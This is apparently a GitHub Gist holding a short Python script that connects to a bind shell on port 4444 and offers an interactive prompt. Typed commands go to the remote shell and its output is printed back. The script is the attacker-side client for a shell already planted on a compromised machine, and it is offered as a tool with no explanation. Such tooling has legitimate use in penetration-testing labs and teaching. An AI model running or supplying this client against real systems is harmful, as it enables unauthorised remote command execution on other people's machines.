Created
March 18, 2022 06:05
-
-
Save brootware/600bfb4063d81b3b4cacedd58ec1d920 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket | |
host = "127.0.0.1" | |
port = 4444 | |
# try and connect to a bind shell | |
try: | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((host, port)) | |
try: | |
print("[+] Connected to bind shell!\n") | |
while 1: | |
cmd = input("(py-shell) $ ") | |
s.send(cmd + "\n") | |
result = s.recv(1024).strip() | |
if not len(result): | |
print("[+] Empty response. Dead shell / exited?") | |
s.close() | |
break | |
print(result) | |
except KeyboardInterrupt: | |
print("\n[+] ^C Received, closing connection") | |
s.close() | |
except EOFError: | |
print("\n[+] ^D Received, closing connection") | |
s.close() | |
except socket.error: | |
print("[+] Unable to connect to bind shell.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment